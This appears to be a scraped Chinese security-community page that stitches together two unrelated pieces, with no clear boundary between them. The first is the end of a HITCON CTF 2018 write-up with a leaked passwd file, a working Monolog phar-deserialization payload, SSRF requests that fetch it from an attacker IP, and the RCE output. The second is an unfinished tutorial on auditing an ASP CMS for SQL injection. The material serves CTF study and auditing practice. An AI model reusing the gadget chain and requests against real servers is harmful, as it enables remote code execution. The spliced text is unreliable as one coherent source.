sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
orange:x:1001:1001:,,,:/home/orange:/bin/bash
我们还可以看到Apache配置使用`000-default.conf`和web目录`/var/www/html`。
POST http://13.230.134.135/?url=http://IP&data[test]=@/etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
...
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
...
</VirtualHost>
尝试从本地文件泄露中获取flag是不对的。因此，我们必须`RCE`。
#### Remote Code Execution RCE
The strategies that can be done are:
1. Create a payload to do PHP Object Injection from the available Classes.
2. Place the PHP Object Injection payload in a phar file, for example `exploit.phar` in our IP.
3. Download `http://IP/exploit.phar` from the web application so the cache will be stored in `/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache`
4. Do POST request with data query to open `phar://` stream wrapper so unserialization will occurs.
For gadgets, here we will try to use `Monolog` with references from
<https://github.com/ambionics/phpggc/tree/master/gadgetchains/Monolog/RCE/1>.
The following is the code to make the payload `exploit.phar` which will
execute `system ('ls -alt')`.
通过使用Web应用程序中的功能特定，我们可以保存URL请求响应的正文内容到`/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(URL)/body.cache`。
可以做的策略是：
* 创建payload来从可用的类中执行PHP对象注入。
* 将PHP Object Injection的payload放在phar文件中，例如exploit.phar在我们的IP中。
* 从Web应用程序`http://IP/exploit.phar`来下载，以便缓存在`/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache`
* 使用数据查询执行POST请求以打开`phar://`流包装器，以便进行反序列化。
对于小工具，我们将尝试使用<https://github.com/ambionics/phpggc/tree/master/gadgetchains/Monolog/RCE/1中的Monolog。>
以下是生成exploit.phar将执行的有效负载的代码system ('ls -alt')。
<?php
namespace Monolog\Handler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}
namespace{
$cmd = "ls -alt";
$obj = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
[$cmd, 'level' => null]
)
);
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();
}
首先，尝试从Web应用程序访问`exploit.phar`。
GET http://13.230.134.135/?url=http://IP/exploit.phar
然后，执行POST请求来打开`phar://`具有`exploit.phar`缓存位置的流作为路径。
POST http://13.230.134.135/?url=http://IP&data[test]=@phar:///var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/exploit.phar)/body.cache
然后RCE成功完成！
total 104
drwxr-xr-x 26 root root 1000 Oct 21 11:08 run
drwxrwxrwt 2 root root 4096 Oct 21 06:25 tmp
-rwsr-sr-x 1 root root 8568 Oct 18 19:53 read_flag
drwxr-xr-x 23 root root 4096 Oct 18 19:53 .
drwxr-xr-x 23 root root 4096 Oct 18 19:53 ..
drwx------ 5 root root 4096 Oct 18 17:12 root
drwxr-xr-x 90 root root 4096 Oct 18 11:23 etc
dr-xr-xr-x 13 root root 0 Oct 16 07:57 sys
-r-------- 1 root root 54 Oct 15 19:49 flag
drwxr-xr-x 4 root root 4096 Oct 15 19:41 home
drwxr-xr-x 3 root root 4096 Oct 9 06:07 boot
lrwxrwxrwx 1 root root 31 Oct 9 06:07 initrd.img -> boot/initrd.img-4.15.0-1023-aws
lrwxrwxrwx 1 root root 28 Oct 9 06:07 vmlinuz -> boot/vmlinuz-4.15.0-1023-aws
drwxr-xr-x 2 root root 4096 Oct 9 06:07 sbin
lrwxrwxrwx 1 root root 14 Oct 8 17:14 www -> /var/www/html/
drwxr-xr-x 14 root root 4096 Oct 8 17:13 var
drwxr-xr-x 5 root root 4096 Oct 8 17:06 snap
drwxr-xr-x 15 root root 2980 Oct 8 17:06 dev
dr-xr-xr-x 136 root root 0 Oct 8 17:06 proc
lrwxrwxrwx 1 root root 31 Sep 12 16:16 initrd.img.old -> boot/initrd.img-4.15.0-1021-aws
lrwxrwxrwx 1 root root 28 Sep 12 16:16 vmlinuz.old -> boot/vmlinuz-4.15.0-1021-aws
drwxr-xr-x 20 root root 4096 Sep 12 16:16 lib
drwx------ 2 root root 16384 Sep 12 16:10 lost+found
drwxr-xr-x 2 root root 4096 Sep 12 15:59 bin
drwxr-xr-x 2 root root 4096 Sep 12 15:56 lib64
drwxr-xr-x 10 root root 4096 Sep 12 15:55 usr
drwxr-xr-x 2 root root 4096 Sep 12 15:55 media
drwxr-xr-x 2 root root 4096 Sep 12 15:55 opt
drwxr-xr-x 2 root root 4096 Sep 12 15:55 mnt
drwxr-xr-x 2 root root 4096 Sep 12 15:55 srv
我们无法读取`/flag`文件，因为它只能被`root`读取。看来我们需要通过执行`/read_flagsetuid`以二进制来读取它。由于`tty`设定，我们可以执行反向shell并生成它。这样，`tty`不需要执行`system('/
get_flag')`,只通过修改先前的payload执行将给我们flag。
`Flag: **hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}**`
仅供参考，由 [Orange ](https://twitter.com/orange_8361)
（作者）在去年有人在2018年美国黑帽大会上展示它之前，发现`phar://`会有`unserialize`对象的行为。
References:
* <https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017>
* <https://blog.ripstech.com/2018/new-php-exploitation-technique/>
HITCON CTF 2018 Web 另一个题的wirteup的翻译：[One Line
PHP](https://xz.aliyun.com/t/3009 "One Line PHP")在先知。
# re
<https://github.com/PDKT-Team/ctf/blob/master/hitcon2018/baby-cake/README.md>
HITCON CTF 2018 Web 另一个题的wirteup：[One Line PHP](https://xz.aliyun.com/t/3009
"One Line PHP")在先知。 | 社区文章 |
# 浅谈Asp代码审计之某cms通读实例（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 前言(Preface)
阅读此文之前，如果不会搭建相关审计环境，建议从我第一篇文章开始看起[浅谈Mac上手 Asp and Asp.net
代码审计（一）](https://www.anquanke.com/post/id/180040),关于asp的审计应该是很久以前的东西，但是经常在内网渗透或者红队中遇到asp的老系统，同时也为了扩展自己的知识面，在web方向打下基础。此篇文章可能比较小众，欢迎各位师傅拍砖指点。(Ps.此教程还是从小白的角度出发,因为作者本身就是小白)
## 0x2 审计对象(Audit Object)
这个系统是不是感觉有点怀旧的感觉,这就是新云网站管理系统V3.0.0,源码可以在网上搜索下载到,
## 0x3 asp代码审计一些特点(Feature)
asp程序写的真的很原始,读起来逻辑很连贯,而且基本都是单入口的,包含文件内容一般是一些全局配置的内容,所以通读asp程序,就是逐个文件去读,当然有些小技巧,提高阅读速度，快速定位有弱点的位置，下面就是分享下自己的学习过程啦。
小白是不是感觉自己不懂vbscript就不能上手asp代码审计了呢? 那么可以先补充下基础知识再继续学习,如下是vbscript的基础语法
asp程序一般支持VBSCRIPT 和 jscript ,但是常见的都是vbscript语法,所以我们只说下vbscript的基础语法。
asp关键词基本都是大驼峰命名,即首字母大写,但是vbscript语法是不区分大小写
asp文件VBscript标识开头:
<%@ LANGUAGE = VBScript CodePage = 936%>
变量声明:
Dim html
数组:
Dim array(2) ‘跟我们平时学的大小不太一样
Dim array(2,3) ‘3行4列多维数组
单行注释:
'
字符串链接符:
&
字符串:
必须用双引号括起来
常用输出:
Response.Write("Hello World!")
for循环语句:
for i=0 to 3:
......
next
Do
....
Loop
For Each .... Next ...
流程控制语句:
If ... Then ... '只执行一条语句
If... Then ... End If '可以执行多条语句
If ... Then ... Else ...
If ... Then ... ElseIf ...
Select ... Case
过程:
' -- Sub过程
Sub Name(str1, str2)
........
End Sub
' -- 调用
1.Call Name(str1, str2)
2. Name ' --无参调用
' -- Function
Function Name(number)
.........
End Function
' -- Function 过程
Function GetName()
Response.Write "test"
End Function
GetName
' --- 区别
' -- Sub没有返回值，而Fubnction有返回值。
' -- Sub不能放在表达式中，而Function可以。
类的使用:
Class ClassName
Type VariableName
Private Sub Class_Initialize() '构造过程
Reponse.Write("class initialize starting")
End Sub
Private Sub Class_Terminate() '析构过程
Response.Write("class end")
End Class
下面是我在熟悉这些语法的时候本地练习的代码:
<%@ Language = vbscript CodePage = 936 %>
<%
Dim html 'declaration,i
Dim array(2)
array(0) = "array[0]"
array(1) = "array[1]"
array(2) = "array[2]"
html="123" 'value variable
Response.Write("123" & html & "</br>") 'output result
for i=0 to 2
Response.Write(i)
Response.Write(array(i) & "</br>")
next
Dim Num1,Num2
Num1 = 10
Num2 = 20
If Num1 < Num2 Then Response.Write("Num1 < Num2 ! Right!")
Response.Write("</br>")
If Num1 < Num2 Then
Response.Write("Num1 < Num2 ! Right! 1")
Response.Write("Num1 < Num2 ! Right! 2")
End If
Response.Write("</br>")
If Num2 < Num1 Then
Response.Write("Num1 > Num2 ! Right!")
Else
Response.Write("Num1 < Num2 ! Right!")
End If
Response.Write("</br>")
Response.Write("Select Case Example")
Response.Write("</br>")
Dim Week
Week = WeekDay(date)
Select Case Week
Case 1
Response.Write("1")
Case 2
Response.Write("2")
Case 3
Response.Write("3")
Case 4
Response.Write("4")
Case 5
Response.Write("5")
Case 6
Response.Write("6")
Case 7
Response.Write("7")
End Select
Response.Write("</br>")
Response.Write("For Each Example")
Dim Num(10)
For i = 0 To 5
Num(i) = i
Next
Dim j
For Each j In Num
Response.Write(j & "</br>")
Next
Response.Write(" proccess and function Example" & "</br>")
Sub Res(content)
Response.Write("Sub test " & content & "</br>")
End Sub
Sub test() ' no parameter function
Response.Write("</br> i am test </br>")
End Sub
Call Res("i am content")
Res "123"
test ' --no parameter call
Function GetName()
Response.Write "I am GetName Function"
End Function
GetName
Class MyClass
Private TestProperty
Private Sub Class_Initialize()
Response.Write("</br>Initialize starting!")
TestProperty = "test"
End Sub
Private Sub Class_Terminate()
Response.Write("Terminate End!")
End Sub
Public Property Let SetProperty(ByVal str)
TestProperty = "</br>" & "change:" & str
End Property
Public Property Get GetProperty()
GetProperty = TestProperty & "</br>" '返回值
End Property
End Class
Dim obj
Set obj = New MyClass
obj.SetProperty="123"
Response.Write(obj.GetProperty)
Set obj = nothing '释放对象
%>
## 0x4 开始代码审计之旅(Main)
### 0x4.1 cms程序结构
command:tree -L 2 -c
├── Announce.Asp
├── cclist.asp
├── conn.asp
├── const.asp
├── count.asp
├── database // 数据库文件 Access
│ ├── #collection.asa
│ ├── #newasp.asa
│ ├── IPAddress.dat
│ └── maillist.mdb
├── index.asp
├── login.asp
├── runads.asp
├── search.asp
├── showerr.asp
├── skin //仰视文件 忽略
├── vote //投票模块
│ ├── join.asp
│ ├── newaspvote.fla
│ ├── showvote.js
│ ├── vote.asp
│ ├── vote.htm
│ └── vote.swf
├── images //静态文件 忽略
├── inc //配置文件
│ ├── FlashChannel.asp
│ ├── GetCode.asp
│ ├── NewsChannel.asp
│ ├── NoCheckCode.asp
│ ├── SoftChannel.asp
│ ├── Std_StranJF.Js
│ ├── UploadCls.Asp
│ ├── base64.asp
│ ├── chkinput.asp
│ ├── classmenu.asp
│ ├── cls_custom.asp
│ ├── cls_down.asp
│ ├── cls_editor.asp
│ ├── cls_main.asp
│ ├── cls_md5.asp
│ ├── cls_payment.asp
│ ├── cls_public.asp
│ ├── const.asp
│ ├── email.asp
│ ├── function.asp
│ ├── main.js
│ ├── md5.asp
│ ├── online.asp
│ ├── ubbcode.asp
│ ├── upload.inc
│ └── xslt
├── admin //后台文件
│ ├── Admin_CreateFlash.Asp
│ ├── Admin_UploadFile.Asp
│ ├── admin_admanage.asp
│ ├── admin_article.asp
│ ├── admin_book.asp
│ ├── admin_card.asp
│ ├── admin_channel.asp
│ ├── admin_classad.asp
│ ├── admin_comment.asp
│ ├── admin_confirm.asp
│ ├── admin_helpview.asp
│ ├── admin_link.asp
│ ├── admin_mailist.asp
│ ├── admin_mailout.asp
│ ├── admin_main.asp
│ ├── admin_makenews.asp
│ ├── admin_message.asp
│ ├── admin_online.asp
│ ├── admin_other.asp
│ ├── admin_password.asp
│ ├── admin_paymode.asp
│ ├── admin_probe.asp
│ ├── admin_replace.asp
│ ├── admin_setting.asp
│ ├── admin_special.asp
│ ├── admin_template.asp
│ ├── admin_user.asp
│ ├── admin_vote.asp
│ ├── check.asp
│ ├── Admin_ArticleGather.asp
│ ├── Admin_CreateArticle.Asp
│ ├── Admin_CreateSoft.Asp
│ ├── Admin_SoftGather.asp
│ ├── CleanCache.asp
│ ├── Logdata.asa
│ ├── about.asp
│ ├── admin_account.asp
│ ├── admin_announce.asp
│ ├── admin_articleset.asp
│ ├── admin_bottom.asp
│ ├── admin_classify.asp
│ ├── admin_config.asp
│ ├── admin_conform.asp
│ ├── admin_cookies.asp
│ ├── admin_createindex.asp
│ ├── admin_custom.asp
│ ├── admin_database.asp
│ ├── admin_downfile.asp
│ ├── admin_downlog.asp
│ ├── admin_flash.asp
│ ├── admin_group.asp
│ ├── admin_index.asp
│ ├── admin_jsfile.asp
│ ├── admin_label.asp
│ ├── admin_left.asp
│ ├── admin_loadskin.asp
│ ├── admin_log.asp
│ ├── admin_login.asp
│ ├── admin_logout.asp
│ ├── admin_makeflash.asp
│ ├── admin_makesoft.asp
│ ├── admin_master.asp
│ ├── admin_selfile.asp
│ ├── admin_server.asp
│ ├── admin_soft.asp
│ ├── admin_softerr.asp
│ ├── admin_softset.asp
│ ├── admin_top.asp
│ ├── admin_userorder.asp
│ ├── images
│ ├── remoteupload.asp
│ ├── setup.asp
│ ├── showerr.asp
│ ├── upload.asp
│ └── include
├── js //js文件忽略
├── user //用户模块
│ ├── Upfile.asp
│ ├── Upload.asp
│ ├── activepass.asp
│ ├── addmoney.asp
│ ├── articlelist.asp
│ ├── articlepost.asp
│ ├── changeinfo.asp
│ ├── changepsw.asp
│ ├── check.asp
│ ├── checkreg.asp
│ ├── config.asp
│ ├── confirm.asp
│ ├── downlog.asp
│ ├── favorite.asp
│ ├── flash.asp
│ ├── flashlist.asp
│ ├── flashpost.asp
│ ├── foot.inc
│ ├── friend.asp
│ ├── head.inc
│ ├── help.asp
│ ├── images
│ ├── index.asp
│ ├── login.asp
│ ├── logout.asp
│ ├── main.asp
│ ├── message.asp
│ ├── payment.asp
│ ├── receive.asp
│ ├── reg.asp
│ ├── return.asp
│ ├── sendpass.asp
│ ├── softlist.asp
│ ├── softpost.asp
│ ├── style.css
│ ├── user_style.css
│ ├── usercard.asp
│ ├── userlist.asp
│ └── usersms.asp
├── GuestBook //访客模块
│ ├── check.js
│ ├── config.asp
│ ├── del.asp
│ ├── edit.asp
│ ├── editreply.asp
│ ├── images
│ ├── index.asp
│ ├── post.asp
│ ├── search.js
│ ├── showreply.asp
│ ├── write.asp
│ └── emot
├── Link //链接模块
│ ├── UploadPic
│ ├── addlink.asp
│ ├── delink.asp
│ ├── editlink.asp
│ ├── index.asp
│ ├── link.asp
│ └── link.gif
├── adfile //忽略
├── flash //音频模块
│ ├── GetCode.asp
│ ├── RemoveCache.Asp
│ ├── UploadFile
│ ├── UploadPic
│ ├── comment.asp
│ ├── config.asp
│ ├── down.asp
│ ├── downfile.asp
│ ├── download.asp
│ ├── hits.asp
│ ├── index.asp
│ ├── list.asp
│ ├── play.html
│ ├── rssfeed.asp
│ ├── search.asp
│ ├── show.asp
│ ├── showbest.asp
│ ├── showhot.asp
│ ├── shownew.asp
│ └── special.asp
├── soft //软件模块
│ ├── GetCode.asp
│ ├── RemoveCache.Asp
│ ├── UploadFile
│ ├── UploadPic
│ ├── comment.asp
│ ├── config.asp
│ ├── download.asp
│ ├── error.asp
│ ├── hits.asp
│ ├── index.asp
│ ├── list.asp
│ ├── previewimg.asp
│ ├── rssfeed.asp
│ ├── search.asp
│ ├── show.asp
│ ├── showbest.asp
│ ├── showhot.asp
│ ├── shownew.asp
│ ├── showtype.asp
│ ├── softdown.asp
│ └── special.asp
├── support //介绍模块
│ ├── about.asp
│ ├── about.ini
│ ├── advertise.asp
│ ├── advertise.ini
│ ├── declare.asp
│ ├── declare.ini
│ ├── help.asp
│ ├── help.ini
│ ├── sitemap.asp
│ └── 2.asp
├── api //api模块
│ ├── api.config
│ ├── api_reponse.asp
│ ├── api_user.xml
│ ├── cls_api.asp
│ └── web.config
├── article //文章模块
│ ├── GetCode.asp
│ ├── RemoveCache.Asp
│ ├── UploadFile
│ ├── UploadPic
│ ├── comment.asp
│ ├── config.asp
│ ├── content.asp
│ ├── hits.asp
│ ├── index.asp
│ ├── list.asp
│ ├── rssfeed.asp
│ ├── search.asp
│ ├── sendmail.asp
│ ├── show.asp
│ ├── showbest.asp
│ ├── showhot.asp
│ ├── shownew.asp
│ └── special.asp
├── editor //编辑器模块
│ ├── FCKeditor
│ └── UBBeditor
├── UploadFile //空文件夹
├── web.config // 配置iis的
可以看出来这个经典的asp程序,就是模块化开发的即视感,比如
http://10.211.55.20:8084/soft/就对应着 soft目录下的文件,然后都是单入口模式。
用的最多就是包含数据库链接、用户验证等文件的手段,用来联系整个程序。
### 0x4.2 审计思路
我个人感觉像asp的cms其实代码量不大,而且结构相当简单,所以我比较喜欢一个一个文件的去读。但是为了提高效率我们可以选择结合功能点去阅读。
先从index.asp文件为开端,code as:
<!--#include file="conn.asp"-->
<!--#include file="const.asp"-->
<!--#include file="inc/cls_public.asp"-->
<%
Dim HtmlFileName, HtmlTemplate
HTML.ShowIndex(0)
Set HTML = Nothing
CloseConn
%>
文件最开始加载了conn.asp,我们选择跟进看看
<%@ LANGUAGE = VBScript CodePage = 936%> '@指令用来进行一些配置 VBSCRIPT 语法 936代表是gb2312编码
<%
Option Explicit
Dim startime,Conn,db,Connstr
Response.Buffer = True
startime = Timer()
'--定义数据库类别，1为SQL数据库，0为Access数据库
Const isSqlDataBase = 0
Dim NowString, NewAsp, MyAppPath
MyAppPath = ""
'-- 是否开启伪静态功能(False=否，True=是)
Const IsURLRewrite = False
'--系统XML版本设置，最低版本 Const MsxmlVersion=""
Const MsxmlVersion = ".3.0"
If IsSqlDataBase = 1 Then
'-----------------------SQL数据库连接参数--------------------------------------- NowString = "GetDate()"
'--SQL数据库连接参数：数据库名(SqlDatabaseName)、用户名(SqlUsername)、用户密码(SqlPassword)
'--连接名(SqlLocalName)（本地用(local)，外地用IP）
Const SqlDatabaseName = "newasp"
Const SqlUsername = "sa"
Const SqlPassword = "newasp"
Const SqlLocalName = "(local)"
'------------------------------------------------------------------------------- Else
'-----------------------ACCESS数据库连接---------------------------------------- NowString = "Now()"
'--ACCESS数据库连接路径；数据库默认在database目录，第一次使用请修改默认数据库名或路径
'--数据库路径可以使用绝对路径
db = "database/#newasp.asa"
'------------------------------------------------------------------------------- End If
Dim DBPath
'-- 采集数据库连接路径
DBPath = "database/#Collection.asa"
Sub ConnectionDatabase()
On Error Resume Next
If IsSqlDataBase = 1 Then
Connstr = "Provider = Sqloledb; User ID = " & SqlUsername & "; Password = " & SqlPassword & "; Initial Catalog = " & SqlDatabaseName & "; Data Source = " & SqlLocalName & ";"
Else
Connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & ChkMapPath(MyAppPath & db)
End If
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open Connstr
If Err Then
Err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错，请打开conn.asp文件检查连接字串。"
Response.End
End If
End Sub
Sub CloseConn()
Set Newasp = Nothing
End Sub
'================================================
' 函数名：ChkMapPath
' 作 用：相对路径转换为绝对路径
' 参 数：strPath ----原路径
' 返回值：绝对路径
'================================================
Function ChkMapPath(ByVal strPath)
Dim fullPath
strPath = Replace(Replace(Trim(strPath), "/", "\"), "\\", "\")
If strPath = "" Then strPath = "."
If InStr(strPath,":\") = 0 Then
fullPath = Server.MapPath(strPath)
Else
strPath = Replace(strPath,"..\","")
fullPath = Trim(strPath)
If Right(fullPath, 1) = "\" Then
fullPath = Left(fullPath, Len(fullPath) - 1)
End If
End If
ChkMapPath = fullPath
End Function
%>
感觉asp的程序注释写的真的是特别直观,conn.asp主要是数据库链接文件,然后返回一个句柄，我使用的是access数据库,所以我们可以记录下获得的信息:
db = “database/#newasp.asa” //数据库路径 asa 我们可以查看下有没有默认的账户和口令和了解下结构
这些数据库结构对于Access数据库类型的注入来说是绝对必要的,因为access没有元数据表,只能爆破表名。
我们跟进下一个包含的文件const.asp
<!--#include file="inc/cls_main.asp"--> 'Class NewaspMain_Cls 类文件 还有其他类的实现
<!--#include file="inc/function.asp"--> ' 一些方法,感觉是一大堆堆起来的,没必要细读,还是根据功能点去找代码实现效率高点。
<%
Set NewAsp = New NewaspMain_Cls '实例化了对象
NewAsp.ReadConfig '调用了ReadConfig方法
ImagePath = Newasp.InstallDir & "images/"
%>
然后我们继续跟进下一个包含文件inc/cls_public.asp (代码写的相当长)
<!--#include file="classmenu.asp"-->
<%
Dim HTML
Set HTML = New NewaspPublic_Cls
Class NewaspPublic_Cls
Public CurrentClass,ThisHtmlPath,FirstCalss,ParentClass
Private Cmd
Private Sub Class_Initialize()
On Error Resume Next
Newasp.LoadTemplates 0, 0, 0
End Sub
'............................. 省略
Public Function ShowIndex(ByVal isHtml)
Dim HtmlContent
Newasp.m_intChannelID = 0
Newasp.LoadTemplates 0, 1, 0
HtmlContent = Newasp.HtmlContent '载入模版
HtmlContent = Replace(HtmlContent, "{$ChannelRootDir}", Newasp.InstallDir) '替换标签
HtmlContent = Replace(HtmlContent, "{$InstallDir}", Newasp.InstallDir)
If Len(Newasp.HtmlSetting(1)) < 2 Then
HtmlContent = Replace(HtmlContent, "{$PageTitle}", "首页")
Else
HtmlContent = Replace(HtmlContent, "{$PageTitle}", Newasp.HtmlSetting(1))
End If
HtmlContent = Replace(HtmlContent, "{$IndexTitle}", "首页")
HtmlContent = Replace(HtmlContent, "{$ChannelID}", 0)
HtmlContent = ReadAnnounceContent(HtmlContent, 0)
HtmlContent = ReadClassMenu(HtmlContent)
HtmlContent = ReadClassMenubar(HtmlContent)
HtmlContent = ReadArticlePic(HtmlContent)
HtmlContent = ReadSoftPic(HtmlContent)
HtmlContent = ReadArticleList(HtmlContent)
HtmlContent = ReadSoftList(HtmlContent)
HtmlContent = ReadFlashList(HtmlContent)
HtmlContent = ReadFlashPic(HtmlContent)
HtmlContent = ReadFriendLink(HtmlContent)
HtmlContent = ReadNewsPicAndText(HtmlContent)
HtmlContent = ReadSoftPicAndText(HtmlContent)
HtmlContent = ReadGuestList(HtmlContent)
HtmlContent = ReadAnnounceList(HtmlContent)
HtmlContent = ReadPopularArticle(HtmlContent)
HtmlContent = ReadPopularSoft(HtmlContent)
HtmlContent = ReadPopularFlash(HtmlContent)
HtmlContent = ReadStatistic(HtmlContent)
HtmlContent = ReadUserRank(HtmlContent)
HtmlContent = Replace(HtmlContent, "{$SkinPath}", Newasp.SkinPath)
HtmlContent = Replace(HtmlContent, "{$InstallDir}", Newasp.InstallDir)
If isHtml Then
ShowIndex = HtmlContent
Else
Response.Write HtmlContent
End If
End Function
这就是上面最开始 index.asp
<!--#include file="conn.asp"-->
<!--#include file="const.asp"-->
<!--#include file="inc/cls_public.asp"-->
<%
Dim HtmlFileName, HtmlTemplate
HTML.ShowIndex(0) '这里调用的是 inc/cls_public.asp 类下NewaspPublic_Cls的ShowIndex方法用来渲染首页
Set HTML = Nothing
CloseConn '关闭数据库链接
%>
在这个cms我还想提个关键点:
有个很关键的类(Class NewaspMain_Cls),该类的Newasp实例是这个cms的全局核心对象:
我们需要查看它的构造方法,可以看到通过Cookie设置了很多用户属性,(这些先记下来)
GetUserip = CheckStr(getIP)
membername = CheckStr(Request.Cookies(Cookies_Name)("username"))
memberpass = CheckStr(Request.Cookies(Cookies_Name)("password"))
menbernickname = CheckStr(Request.Cookies(Cookies_Name)("nickname"))
membergrade = ChkNumeric(Request.Cookies(Cookies_Name)("UserGrade"))
membergroup = CheckStr(Request.Cookies(Cookies_Name)("UserGroup"))
memberclass = ChkNumeric(Request.Cookies(Cookies_Name)("UserClass"))
memberid = ChkNumeric(Request.Cookies(Cookies_Name)("userid"))
CheckPassword = CheckStr(Request.Cookies(Cookies_Name)("CheckPassword"))
上面演示了如何对单文件不断回溯从而找到相应的处理类和方法,下面我就是通过这种方法,来通读整个cms,鉴于文章篇幅，下面我会从简表述一些挖掘过程。
### 0x4.3 SQL注入
关于挖掘asp程序的SQL注入,我们首先通过上文的通读方法，找到关键的过滤函数,如果没有过滤函数，那么就是任意注入啦，如果有过滤函数，我们就有两条路子
1.过滤函数不严谨导致绕过
2.寻找程序猿粗心忘记过滤的可控点
代码有几个过滤函数,分别如下:
C:\Users\xq17\Desktop\wwwroot\inc\cls_main.asp
Public Function CheckBadstr(str) ' 246 line
If IsNull(str) Then
CheckBadstr = vbNullString 'str为空则转换为vb的空类型
Exit Function
End If
str = Replace(str, Chr(0), vbNullString) '替换截断字符
str = Replace(str, Chr(34), vbNullString) '双引号
str = Replace(str, "%", vbNullString)
str = Replace(str, "@", vbNullString)
str = Replace(str, "!", vbNullString)
str = Replace(str, "^", vbNullString)
str = Replace(str, "=", vbNullString)
str = Replace(str, "--", vbNullString)
str = Replace(str, "$", vbNullString)
str = Replace(str, "'", vbNullString) '去掉单引号
str = Replace(str, ";", vbNullString)
str = Replace(str, "<", vbNullString)
str = Replace(str, ">", vbNullString)
CheckBadstr = Trim(str) '删除字符串两侧的空格,然后返回函数值
End Function
access数据库没有反斜杠,其他系统可以考虑下,用了这个函数基本大概率没办法注入了。
Public Function ChkNumeric(ByVal CHECK_ID)
If CHECK_ID <> "" And IsNumeric(CHECK_ID) Then 'IsNumeric 是vbscript的判断,没漏洞
If CHECK_ID < 0 Then CHECK_ID = 0
If CHECK_ID > 2147483647 Then CHECK_ID = 0 '防溢出
CHECK_ID = CLng(CHECK_ID)
Else
CHECK_ID = 0
End If
ChkNumeric = CHECK_ID
End Function
Public Function CheckStr(ByVal str)
If IsNull(str) Then
CheckStr = ""
Exit Function
End If
str = Replace(str, Chr(0), "")'这个特性能用来绕过关键词
CheckStr = Replace(str, "'", "''")'这个直接替换单引号为双引号
End Function
'=============================================================
'函数名：ChkFormStr
'作 用：过滤表单字符
'参 数：str ----原字符串
'返回值：过滤后的字符串
'=============================================================
Public Function ChkFormStr(ByVal str) '这个函数主要防止xss
Dim fString
fString = str
If IsNull(fString) Then
ChkFormStr = ""
Exit Function
End If
fString = Replace(fString, "'", "'")
fString = Replace(fString, Chr(34), """)
fString = Replace(fString, Chr(13), "")
fString = Replace(fString, Chr(10), "")
fString = Replace(fString, Chr(9), "")
fString = Replace(fString, ">", ">")
fString = Replace(fString, "<", "<")
fString = Replace(fString, " ", " ")
ChkFormStr = Trim(JAPEncode(fString))
End Function
'=============================================================
'函数作用：过滤SQL非法字符
'=============================================================
Public Function CheckRequest(ByVal str,ByVal strLen)
On Error Resume Next
str = Trim(str)
str = Replace(str, Chr(0), "")
str = Replace(str, "'", "")
str = Replace(str, "%", "")
str = Replace(str, "^", "")
str = Replace(str, ";", "")
str = Replace(str, "*", "")
str = Replace(str, "<", "")
str = Replace(str, ">", "")
str = Replace(str, "|", "")
str = Replace(str, "and", "")
str = Replace(str, "chr", "")
str = Replace(str, "@", "")
str = Replace(str, "$", "")
If Len(str) > 0 And strLen > 0 Then
str = Left(str, strLen)
End If
CheckRequest = str
End Function
总结下: ChkNumeric CheckStr ChkFormStr(xss) CheckRequest CheckBadstr(xsss)
还有很多其他的方,asp程序比较杂,遇到再细跟就行了,都没办法闭合单引号。
所以我们找注入点也是两个思路:
1.找没有单引号包括的可控语句,且没做类型判断
2.没有进行函数消毒的可控参数进入SQL查询
读完了全部文件，发现了作者对这个程序修修补补的痕迹，对一些历史漏洞点进行重复多次过滤，或者补充过滤(asp程序维护成本高)，但是作者一开始的出发习惯还是挺好的,基本都是
